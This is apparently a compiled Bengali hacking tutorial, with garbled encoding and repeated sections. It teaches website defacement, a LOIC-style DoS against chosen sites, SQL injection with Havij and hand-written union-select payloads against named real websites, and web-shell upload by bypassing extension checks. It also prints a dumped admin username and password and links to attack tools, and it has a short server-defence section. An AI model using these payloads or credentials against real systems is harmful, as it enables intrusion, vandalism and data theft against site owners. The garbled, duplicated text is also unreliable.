এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
